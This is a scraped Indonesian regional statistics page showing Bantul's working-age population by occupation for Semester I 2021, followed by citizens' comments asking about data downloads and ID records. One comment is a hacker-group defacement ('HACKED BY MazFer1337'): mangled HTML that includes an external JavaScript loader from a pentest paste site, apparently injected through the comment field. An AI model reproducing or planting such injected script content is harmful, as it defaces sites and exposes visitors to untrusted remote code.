Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

JUMLAH PENDUDUK USIA KERJA KABUPATEN BANTUL, D.I Yogyakarta SEMESTER I 2021
Menurut Jenis Pekerjaan

Silakan Login atau Daftar untuk mengunduh berkas
Kemantren / Kapanewon Bukan Angkatan Kerja Angkatan Kerja
MENGURUS RUMAH TANGGA PELAJAR/MAHASISWA PENSIUNAN BELUM BEKERJA ASN TNI POLRI PEJABAT NEGARA BURUH /TUKANG BERKEAHLIAN KHUSUS SEKTOR PERTANIAN /PETERNAKAN /PERIKANAN KARYAWAN BUMN/BUMD KARYAWAN SWASTA WIRASWASATA TENAGA MEDIS PEKERJAAN LAINNYA TOTAL
L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P
SRANDAKAN 0 1.751 1.751 1.966 1.899 3.865 330 192 522 320 447 767 351 372 723 46 0 46 55 5 60 1 0 1 1.711 858 2.569 3.422 3.068 6.490 49 20 69 1.528 1.334 2.862 2.256 2.262 4.518 23 82 105 276 355 631 12.334 12.645 24.979
SANDEN 0 1.636 1.636 1.980 1.925 3.905 441 249 690 386 493 879 446 517 963 54 0 54 89 9 98 1 0 1 1.937 1.432 3.369 3.389 3.228 6.617 42 18 60 1.669 1.461 3.130 1.990 2.008 3.998 18 75 93 199 135 334 12.641 13.186 25.827
KRETEK 0 1.847 1.847 1.988 1.838 3.826 418 187 605 320 437 757 429 370 799 123 4 127 158 16 174 2 1 3 1.344 783 2.127 3.639 3.978 7.617 32 14 46 1.550 1.293 2.843 1.881 1.929 3.810 9 81 90 176 125 301 12.069 12.903 24.972
PUNDONG 0 2.250 2.250 2.082 2.041 4.123 301 106 407 335 365 700 318 282 600 52 0 52 105 9 114 2 0 2 2.240 1.227 3.467 4.176 4.289 8.465 27 7 34 2.253 1.708 3.961 1.788 1.876 3.664 11 53 64 281 355 636 13.971 14.568 28.539
BAMBANG LIPURO 0 2.718 2.718 2.567 2.376 4.943 525 243 768 566 699 1.265 500 545 1.045 99 1 100 143 6 149 1 0 1 2.354 1.447 3.801 4.319 3.929 8.248 50 22 72 2.610 2.146 4.756 2.151 2.266 4.417 11 103 114 426 588 1.014 16.322 17.089 33.411
PANDAK 0 3.124 3.124 3.532 3.161 6.693 375 205 580 693 770 1.463 539 499 1.038 101 1 102 170 12 182 1 0 1 4.996 3.375 8.371 4.591 4.337 8.928 59 15 74 2.578 2.280 4.858 2.775 2.646 5.421 21 112 133 295 404 699 20.726 20.941 41.667
PAJANGAN 0 2.233 2.233 2.113 2.032 4.145 200 64 264 538 659 1.197 287 203 490 54 1 55 79 5 84 2 0 2 5.589 4.343 9.932 1.944 2.049 3.993 39 6 45 1.824 1.493 3.317 1.450 1.243 2.693 12 58 70 181 159 340 14.312 14.548 28.860
BANTUL 0 4.959 4.959 4.535 4.099 8.634 975 430 1.405 741 725 1.466 1.204 1.114 2.318 202 6 208 382 38 420 0 0 0 6.194 4.591 10.785 1.803 1.547 3.350 126 66 192 4.404 3.650 8.054 4.373 4.316 8.689 48 202 250 272 318 590 25.259 26.061 51.320
JETIS 0 3.469 3.469 3.487 3.378 6.865 564 200 764 887 1.741 2.628 703 620 1.323 144 2 146 190 20 210 1 0 1 8.817 6.827 15.644 1.114 1.053 2.167 69 27 96 3.715 3.108 6.823 2.923 2.688 5.611 29 125 154 259 269 528 22.902 23.527 46.429
IMOGIRI 0 2.449 2.449 3.119 2.928 6.047 377 113 490 1.463 2.243 3.706 454 382 836 94 1 95 112 4 116 3 0 3 6.536 5.051 11.587 3.085 3.447 6.532 36 13 49 2.457 2.309 4.766 6.731 6.005 12.736 19 85 104 351 470 821 24.837 25.500 50.337
DLINGO 0 2.242 2.242 2.050 1.787 3.837 137 16 153 216 280 496 184 90 274 19 0 19 19 0 19 1 0 1 4.081 2.016 6.097 4.858 6.781 11.639 9 3 12 964 747 1.711 2.899 1.944 4.843 6 27 33 320 397 717 15.763 16.330 32.093
BANGUNTAPAN 0 9.802 9.802 8.502 7.620 16.122 1.397 599 1.996 971 1.144 2.115 1.625 1.552 3.177 919 73 992 444 38 482 7 1 8 10.278 7.761 18.039 1.234 1.232 2.466 333 162 495 9.256 7.087 16.343 8.101 6.849 14.950 101 309 410 363 383 746 43.531 44.612 88.143
PLERET 0 3.327 3.327 3.344 2.962 6.306 251 90 341 473 533 1.006 437 353 790 102 2 104 146 3 149 2 0 2 6.777 4.788 11.565 1.425 1.501 2.926 49 11 60 2.154 1.879 4.033 3.255 2.920 6.175 23 69 92 243 214 457 18.681 18.652 37.333
PIYUNGAN 0 4.338 4.338 3.453 3.257 6.710 518 172 690 531 595 1.126 592 494 1.086 212 2 214 158 11 169 2 0 2 4.957 3.268 8.225 2.731 2.766 5.497 94 44 138 3.813 2.751 6.564 3.138 2.957 6.095 16 103 119 189 190 379 20.404 20.948 41.352
SEWON 0 8.096 8.096 6.993 6.373 13.366 967 426 1.393 1.024 1.429 2.453 1.373 1.265 2.638 266 6 272 360 24 384 3 0 3 6.032 3.365 9.397 6.219 5.234 11.453 201 92 293 8.192 6.061 14.253 6.928 5.908 12.836 60 277 337 965 1.374 2.339 39.583 39.930 79.513
KASIHAN 0 8.292 8.292 7.629 6.907 14.536 1.055 455 1.510 662 1.180 1.842 1.195 1.035 2.230 184 3 187 213 17 230 5 1 6 11.624 8.501 20.125 1.720 1.592 3.312 214 114 328 8.045 6.167 14.212 7.437 6.172 13.609 107 281 388 807 1.038 1.845 40.897 41.755 82.652
SEDAYU 0 3.427 3.427 3.414 2.886 6.300 448 227 675 466 465 931 514 482 996 88 2 90 134 8 142 0 1 1 2.953 1.741 4.694 3.962 3.935 7.897 102 21 123 3.711 2.794 6.505 2.792 2.814 5.606 15 76 91 387 468 855 18.986 19.347 38.333
Jumlah 0 65.960 65.960 62.754 57.469 120.223 9.279 3.974 13.253 10.592 14.205 24.797 11.151 10.175 21.326 2.759 104 2.863 2.957 225 3.182 34 4 38 88.420 61.374 149.794 53.631 53.966 107.597 1.531 655 2.186 60.723 48.268 108.991 62.868 56.803 119.671 529 2.118 2.647 5.990 7.242 13.232 373.218 382.542 755.760
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY
Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih